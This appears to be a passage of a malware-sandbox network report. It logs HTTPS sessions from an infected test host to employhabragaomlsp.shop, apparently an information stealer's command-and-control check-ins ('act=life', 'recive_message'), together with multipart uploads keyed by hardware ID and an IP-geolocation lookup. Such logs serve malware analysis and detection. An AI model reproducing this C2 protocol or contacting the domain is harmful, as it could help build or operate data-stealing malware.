2024-05-24 07:42:57 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:57 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5vvrq2ii52dk0b6hq63haol6n9; expires=Tue, 17-Sep-2024 01:29:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BlHaeOsGEAss0t%2FnID9pWIEoJcuZW4cOvPYOHf9HEy%2F24LyI%2BXFnB1GEmBTYwmq3fVw%2BIyuFqwOZvZevmNKB3ZnbvwZSlALd01SPEk47DBRMcatXCXwD%2BUe%2BbWRQWnTELbKhH6FM5WmjHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6e6fc7443f8-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49901	172.67.75.166	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:57 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:42:57 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9F72:ABC2_93878F2E:0050_66504501_EF9913F:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P7MwHneJszRhmQYYphRFpUiyLSEoeZyahDoawIlm48VVvfRR4WltNrkp1V64r%2BrDsnjVwW%2FpyLchiRUeFdvrw6MfnuCvq0SMT1T63GbjSwWGvJLFe2rcLqnrFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6e748a742b3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:57 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49897	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:42:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:42:57 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vdh38e4rh6pra9aa6s4jm5oo0j; expires=Tue, 17-Sep-2024 01:29:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsNk%2FgzPbVsVqq82q3s5MbAMGVqh%2FwhfOCmG5Fh8tSXuitNssBv3ngH8B1KT%2FCgJFWbv2tro8vOTTAdTMvEfzEKogrArfyERBJVOMOw5XwgfcUGy8CA5NUg5GOS3NKlrg584Ear8DQgbcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6e72dfb42cb-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49902	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:57 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 07:42:57 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:58 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6nntil2u0gfiablec8nt06bbas; expires=Tue, 17-Sep-2024 01:29:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kmPPP4Xx%2FXmXFt143RuvPp5HUgVHE5e2FM4G4mTOcxBtvaz%2Fgk2Z1T8iCPjgnEZK6kiRl%2BoLcGpQ9UMIlQwoi0TPxOivcTktWEeC99qS2jxWvK569uaMfFDlzitIpQ6HxY47XbclKMXAsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6e98ba341fb-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49903	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:57 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:42:57 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:42:58 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=acvromjhtetdv4gpt5kig2bs4j; expires=Tue, 17-Sep-2024 01:29:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPl9kVq9z2MrEzWROSV4r8kNRVM4%2B51vWk2F1KrBAiG78%2BjvlC%2FydvjZe2Xe0qqqJkJeihlTd168du9cxZE%2BJLT4DIB5MWO8CrbGJBUY1kn2B6xv2lCbrR5cFzv0HP32qkerFxuvlY6LcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6ea9a014241-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:58 UTC	555	IN	Data Raw: 31 66 63 63 0d 0a 4b 43 31 4c 6f 2b 72 4d 2f 7a 50 6c 50 6b 5a 2f 6b 4d 61 31 6f 78 55 4f 70 66 4e 62 65 48 71 2b 76 42 6b 4c 47 79 77 64 33 33 4a 54 4a 30 4b 42 6e 4f 37 46 45 39 45 53 54 48 61 79 74 64 43 42 4c 79 37 52 67 53 34 64 56 72 53 31 4f 32 70 2f 44 69 66 2f 46 45 6c 42 4f 4d 62 47 78 76 59 52 69 45 5a 6b 52 62 43 64 76 36 70 75 42 4b 7a 36 65 52 30 55 6e 49 59 35 4b 57 78 4a 66 37 6f 4b 58 45 67 6c 30 49 4f 6a 6b 58 4f 49 57 7a 49 65 2f 61 66 47 79 44 74 6e 79 74 46 33 63 6e 4f 33 6e 6e 78 78 4f 52 59 39 2f 54 39 4e 57 53 72 75 69 37 2b 55 45 63 6b 30 54 33 61 79 6f 38 47 42 4c 79 36 48 72 33 6b 49 47 38 7a 64 64 48 68 48 44 69 65 6b 4c 67 70 45 50 38 61 59 72 59 74 61 69 6c 41 31 49 37 4c 38 67 35 4d 6c 50 70 58 44 4a 6c 70 77 74 38 45 54 41 Data Ascii: 1fccKC1Lo+rM/zPlPkZ/kMa1oxUOpfNbeHq+vBkLGywd33JTJ0KBnO7FE9ESTHaytdCBLy7RgS4dVrS1O2p/Dif/FElBOMbGxvYRiEZkRbCdv6puBKz6eR0UnIY5KWxJf7oKXEgl0IOjkXOIWzIe/afGyDtnytF3cnO3nnxxORY9/T9NWSrui7+UEck0T3ayo8GBLy6Hr3kIG8zddHhHDiekLgpEP8aYrYtailA1I7L8g5MlPpXDJlpwt8ETA
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 53 55 55 2f 52 64 47 44 33 47 44 79 4b 69 54 55 49 70 63 4e 68 58 35 72 39 4c 54 66 47 58 4b 6e 44 6b 58 45 74 50 64 65 32 35 7a 52 48 43 33 46 45 64 43 4c 38 47 49 37 74 4d 35 37 44 64 6b 47 75 72 6b 6a 34 4d 33 54 38 4b 42 50 68 59 4f 6e 75 51 37 41 52 4a 52 4d 64 5a 53 43 43 64 43 32 4f 44 46 39 68 47 41 55 47 52 46 73 4f 54 66 78 48 52 76 7a 4a 34 36 45 68 50 4f 33 6d 6c 76 64 45 74 74 75 78 56 45 52 53 72 54 67 71 43 62 55 6f 35 58 4c 52 6a 31 6f 4a 65 50 48 77 65 73 30 54 34 43 57 49 53 63 4f 30 68 30 52 58 4f 33 42 30 6f 50 51 61 71 58 34 50 55 36 6e 6a 52 50 64 72 4b 6a 32 34 45 76 4c 6f 65 56 4f 42 34 5a 32 4e 42 31 62 58 56 49 63 62 41 66 54 45 55 70 78 6f 4b 6d 6c 56 43 4b 56 79 73 64 39 36 6e 54 78 33 74 74 77 74 46 33 63 6e 4f 33 6e 6e 78 78 Data Ascii: SUU/RdGD3GDyKiTUIpcNhX5r9LTfGXKnDkXEtPde25zRHC3FEdCL8GI7tM57DdkGurkj4M3T8KBPhYOnuQ7ARJRMdZSCCdC2ODF9hGAUGRFsOTfxHRvzJ46EhPO3mlvdEttuxVERSrTgqCbUo5XLRj1oJePHwes0T4CWIScO0h0RXO3B0oPQaqX4PU6njRPdrKj24EvLoeVOB4Z2NB1bXVIcbAfTEUpxoKmlVCKVysd96nTx3ttwtF3cnO3nnxx
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 51 56 52 56 30 6a 7a 59 6d 38 6d 6c 69 4f 56 69 55 54 2f 61 2f 62 78 47 56 6e 79 4a 6b 32 47 78 58 52 31 58 39 70 4f 51 41 58 31 6e 73 4b 53 44 47 42 30 4f 7a 64 63 49 70 54 4e 68 37 6a 35 75 4c 43 65 57 4c 41 68 33 6c 79 63 38 4f 51 45 77 4a 67 4a 68 54 57 55 45 31 44 61 5a 6e 4b 37 70 78 64 69 31 30 72 47 2f 69 73 31 4d 42 6c 5a 63 69 5a 4e 68 4d 5a 33 39 70 36 59 32 74 63 66 37 45 43 52 6b 55 76 7a 6f 57 69 33 52 2f 76 4e 30 39 64 39 62 79 58 6d 54 55 73 37 5a 49 74 47 52 4b 65 36 33 68 6e 64 30 6c 70 2f 58 67 68 55 47 65 70 34 37 66 31 4f 75 77 63 49 78 47 79 2f 4a 57 42 65 6d 33 50 6c 79 73 56 46 64 2f 51 64 57 5a 38 51 58 65 39 45 45 64 4b 4c 63 71 44 72 5a 42 56 6c 56 59 6b 46 66 65 6c 33 63 73 33 49 71 2f 36 55 6c 6f 66 78 4a 34 6a 4b 7a 6c 2f 61 Data Ascii: QVRV0jzYm8mliOViUT/a/bxGVnyJk2GxXR1X9pOQAX1nsKSDGB0OzdcIpTNh7j5uLCeWLAh3lyc8OQEwJgJhTWUE1DaZnK7pxdi10rG/is1MBlZciZNhMZ39p6Y2tcf7ECRkUvzoWi3R/vN09d9byXmTUs7ZItGRKe63hnd0lp/XghUGep47f1OuwcIxGy/JWBem3PlysVFd/QdWZ8QXe9EEdKLcqDrZBVlVYkFfel3cs3Iq/6UlofxJ4jKzl/a
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 49 4a 63 6d 4e 6f 5a 74 55 69 6c 73 76 48 75 43 32 31 4d 56 35 59 49 66 66 55 58 46 7a 6e 4e 6c 6a 4b 53 45 4d 50 35 67 48 53 56 38 76 77 73 6a 47 39 6b 37 4a 4e 45 38 45 6d 73 2b 38 67 58 42 67 68 38 6c 37 57 68 6a 53 30 6e 42 75 63 6b 56 37 75 52 42 48 52 43 66 50 67 61 4b 56 58 59 42 4f 4b 52 6a 36 72 74 37 45 65 32 48 45 67 7a 6f 62 57 4a 4b 32 45 41 49 35 53 57 66 39 53 41 67 50 44 76 4b 2f 6a 64 30 35 37 45 4e 71 64 5a 6d 39 76 36 6f 63 4c 4d 43 64 65 55 4a 61 6e 4e 39 7a 62 6e 64 4b 62 62 4d 43 52 45 67 70 78 34 43 6d 6d 6c 32 4a 55 6a 59 56 38 36 54 5a 7a 6e 39 6c 77 35 41 39 48 68 54 62 6e 6a 55 42 45 69 55 2f 75 67 67 4b 46 32 75 42 6f 4b 32 48 53 38 56 79 4c 78 33 31 74 4d 48 61 4e 77 53 73 6a 6e 64 79 63 38 57 32 45 41 49 35 53 58 50 39 53 41 Data Ascii: IJcmNoZtUilsvHuC21MV5YIffUXFznNljKSEMP5gHSV8vwsjG9k7JNE8Ems+8gXBgh8l7WhjS0nBuckV7uRBHRCfPgaKVXYBOKRj6rt7Ee2HEgzobWJK2EAI5SWf9SAgPDvK/jd057ENqdZm9v6ocLMCdeUJanN9zbndKbbMCREgpx4Cmml2JUjYV86TZzn9lw5A9HhTbnjUBEiU/uggKF2uBoK2HS8VyLx31tMHaNwSsjndyc8W2EAI5SXP9SA
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 68 71 4b 57 57 6f 78 66 4c 68 54 78 71 4e 48 41 65 57 7a 4a 6b 58 6c 55 63 4c 65 31 4f 32 35 68 44 69 66 2f 55 47 70 45 50 39 53 4c 76 70 74 57 69 78 78 4d 64 75 33 71 76 36 70 75 42 4b 7a 36 65 52 30 55 6e 49 59 35 4b 58 64 63 65 37 77 51 51 6b 59 6c 79 6f 43 38 6d 6c 61 4d 55 69 6f 57 39 71 6a 65 79 6e 35 70 79 35 41 79 45 78 33 59 31 48 31 6b 4f 51 41 58 31 6e 73 4b 53 44 47 42 30 4f 7a 64 66 59 52 54 4c 31 32 61 7a 38 69 50 48 77 66 65 2b 56 4a 78 57 4e 76 53 4f 7a 45 37 44 6e 69 31 47 45 52 4d 4c 38 71 45 6f 70 78 59 67 56 6b 73 47 76 32 6a 33 73 5a 33 61 74 57 57 4e 42 4d 59 31 39 64 78 62 58 68 46 50 2f 4e 34 49 53 52 70 78 70 44 75 78 52 50 48 62 69 4d 4c 34 71 65 58 71 52 78 7a 69 66 70 52 63 51 47 30 74 52 41 70 66 6b 49 2f 35 56 49 4b 51 6a 76 Data Ascii: hqKWWoxfLhTxqNHAeWzJkXlUcLe1O25hDif/UGpEP9SLvptWixxMdu3qv6puBKz6eR0UnIY5KXdce7wQQkYlyoC8mlaMUioW9qjeyn5py5AyEx3Y1H1kOQAX1nsKSDGB0OzdfYRTL12az8iPHwfe+VJxWNvSOzE7Dni1GERML8qEopxYgVksGv2j3sZ3atWWNBMY19dxbXhFP/N4ISRpxpDuxRPHbiML4qeXqRxzifpRcQG0tRApfkI/5VIKQjv
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 51 6e 46 48 43 55 52 2f 61 66 59 77 6e 52 74 7a 59 4d 72 46 68 48 55 32 33 64 69 64 30 68 74 75 78 39 44 54 43 72 49 6a 36 61 52 57 34 52 62 5a 46 4f 61 7a 37 79 42 63 48 53 48 79 58 74 61 4f 38 76 4f 64 69 6b 52 4a 57 44 7a 65 43 46 57 51 61 72 6a 37 70 70 64 78 77 52 6d 58 66 71 70 33 38 74 7a 61 38 71 57 50 78 4d 4b 31 64 74 31 61 58 31 46 63 4c 73 55 53 55 38 37 78 34 79 6d 6e 6c 79 4b 55 69 63 5a 73 75 71 2f 71 68 77 73 77 49 6c 35 51 6c 71 63 37 48 5a 6e 59 6b 46 34 72 42 6f 4b 4a 30 4c 65 78 73 62 32 53 4f 38 33 54 31 33 31 71 4a 65 5a 4e 53 7a 44 6e 79 73 52 47 64 66 56 64 57 35 32 53 33 57 39 48 30 35 4d 4a 38 71 4a 72 5a 56 63 69 6c 49 75 46 50 75 6a 32 38 56 77 4c 49 6e 35 55 6e 46 59 32 38 59 37 4d 54 73 4f 56 4a 77 39 5a 6b 67 7a 67 65 44 46 Data Ascii: QnFHCUR/afYwnRtzYMrFhHU23did0htux9DTCrIj6aRW4RbZFOaz7yBcHSHyXtaO8vOdikRJWDzeCFWQarj7ppdxwRmXfqp38tza8qWPxMK1dt1aX1FcLsUSU87x4ymnlyKUicZsuq/qhwswIl5Qlqc7HZnYkF4rBoKJ0Lexsb2SO83T131qJeZNSzDnysRGdfVdW52S3W9H05MJ8qJrZVcilIuFPuj28VwLIn5UnFY28Y7MTsOVJw9ZkgzgeDF
2024-05-24 07:42:58 UTC	748	IN	Data Raw: 73 6f 43 2f 6d 6c 31 4e 64 36 66 49 66 35 55 67 56 57 74 4c 56 69 41 52 49 6c 50 37 6f 63 43 68 64 72 67 59 36 6e 6d 31 61 42 55 6a 59 59 39 4b 76 59 79 48 35 6f 7a 35 49 35 48 68 7a 62 32 33 68 6c 63 6b 6c 38 73 68 52 44 51 53 44 4f 79 4f 44 31 4f 75 77 63 49 77 57 79 2f 4a 57 42 56 6e 66 45 6e 54 52 61 63 4c 66 42 4e 51 45 53 56 78 66 57 65 77 70 49 4a 59 48 51 37 4e 31 64 69 56 6b 6b 46 2f 53 67 30 73 64 39 61 63 65 61 4f 68 55 63 32 74 70 30 61 58 4a 48 66 72 73 56 51 45 51 76 7a 49 75 6f 6d 78 48 4a 4e 45 39 32 73 71 50 50 67 53 38 75 68 37 45 69 46 78 54 62 6e 68 4d 43 5a 67 41 58 31 67 6b 69 4a 45 4b 42 6a 36 4c 64 43 63 55 63 4c 78 48 32 6f 39 66 4d 64 47 54 43 6c 54 4d 66 47 4e 54 4d 63 32 6c 2b 58 47 32 39 47 55 39 44 4b 73 47 4d 71 4a 52 58 68 Data Ascii: soC/ml1Nd6fIf5UgVWtLViARIlP7ocChdrgY6nm1aBUjYY9KvYyH5oz5I5Hhzb23hlckl8shRDQSDOyOD1OuwcIwWy/JWBVnfEnTRacLfBNQESVxfWewpIJYHQ7N1diVkkF/Sg0sd9aceaOhUc2tp0aXJHfrsVQEQvzIuomxHJNE92sqPPgS8uh7EiFxTbnhMCZgAX1gkiJEKBj6LdCcUcLxH2o9fMdGTClTMfGNTMc2l+XG29GU9DKsGMqJRXh
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 31 32 36 39 0d 0a 45 77 4a 6d 41 42 66 57 43 53 49 6b 51 6f 47 50 6f 74 30 4a 78 52 77 70 47 76 79 73 30 63 39 78 66 73 75 65 50 78 6f 5a 31 74 4e 33 59 6e 35 41 64 4c 73 56 52 30 38 76 78 34 79 71 6d 56 2b 45 48 47 70 31 6d 63 2b 58 78 6d 38 73 6e 39 4e 35 50 54 58 74 6e 46 68 2b 62 30 52 34 73 51 5a 42 54 69 72 58 68 62 37 64 4f 65 78 44 61 6e 57 5a 76 62 2b 71 48 43 7a 41 6e 58 6c 43 57 70 7a 56 64 57 78 34 51 6e 57 36 48 6c 68 4f 49 38 32 4a 71 5a 70 61 6c 56 63 32 46 76 71 6e 32 63 6c 2b 62 4d 6d 52 4f 42 63 59 6e 4a 41 54 41 68 49 4f 65 4b 56 51 45 67 31 70 35 4b 75 35 69 31 76 46 66 7a 4d 4c 2b 4b 50 62 31 33 78 74 78 49 63 30 43 6c 69 30 74 57 51 6e 45 53 56 6d 31 58 73 68 44 79 37 4e 79 50 62 66 45 59 78 54 4b 68 44 35 6f 4e 37 45 66 32 2f 43 6c Data Ascii: 1269EwJmABfWCSIkQoGPot0JxRwpGvys0c9xfsuePxoZ1tN3Yn5AdLsVR08vx4yqmV+EHGp1mc+Xxm8sn9N5PTXtnFh+b0R4sQZBTirXhb7dOexDanWZvb+qHCzAnXlCWpzVdWx4QnW6HlhOI82JqZpalVc2Fvqn2cl+bMmROBcYnJATAhIOeKVQEg1p5Ku5i1vFfzML+KPb13xtxIc0Cli0tWQnESVm1XshDy7NyPbfEYxTKhD5oN7Ef2/Cl
2024-05-24 07:42:58 UTC	1369	IN	Data Raw: 63 68 6a 6b 35 4b 78 55 71 37 6b 63 61 48 55 47 71 6c 2b 44 31 4f 70 34 30 54 33 61 79 73 70 65 5a 4e 54 36 4a 2b 56 4a 78 57 4d 36 65 49 79 73 35 43 58 47 77 45 55 6c 42 4b 74 4f 61 71 4a 35 48 68 42 73 61 49 39 4f 70 33 4d 31 36 59 38 79 76 42 7a 73 56 31 39 4a 32 5a 6e 4a 77 51 61 67 54 52 45 45 75 31 35 6e 75 30 7a 6e 73 4e 32 51 53 73 76 79 56 2b 44 63 6b 68 36 35 33 63 6e 4f 33 6e 6d 4d 70 49 51 77 2f 69 42 4e 45 51 53 37 58 6d 65 4f 38 58 49 78 51 4b 52 4c 35 35 4a 6d 70 48 41 65 48 6c 33 6c 43 57 6f 79 51 45 77 49 53 44 6e 75 73 55 42 49 4e 65 5a 50 54 2b 38 34 47 31 77 35 4d 64 75 33 71 76 36 70 75 42 4b 7a 36 65 51 78 59 68 4a 77 70 4a 78 45 6c 46 50 30 43 43 68 64 72 67 63 2b 74 6a 30 4f 42 58 7a 49 65 74 5a 72 70 34 6d 42 36 7a 59 70 37 50 42 Data Ascii: chjk5KxUq7kcaHUGql+D1Op40T3ayspeZNT6J+VJxWM6eIys5CXGwEUlBKtOaqJ5HhBsaI9Op3M16Y8yvBzsV19J2ZnJwQagTREEu15nu0znsN2QSsvyV+Dckh653cnO3nmMpIQw/iBNEQS7XmeO8XIxQKRL55JmpHAeHl3lCWoyQEwISDnusUBINeZPT+84G1w5Mdu3qv6puBKz6eQxYhJwpJxElFP0CChdrgc+tj0OBXzIetZrp4mB6zYp7PB

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49904	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:58 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:42:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
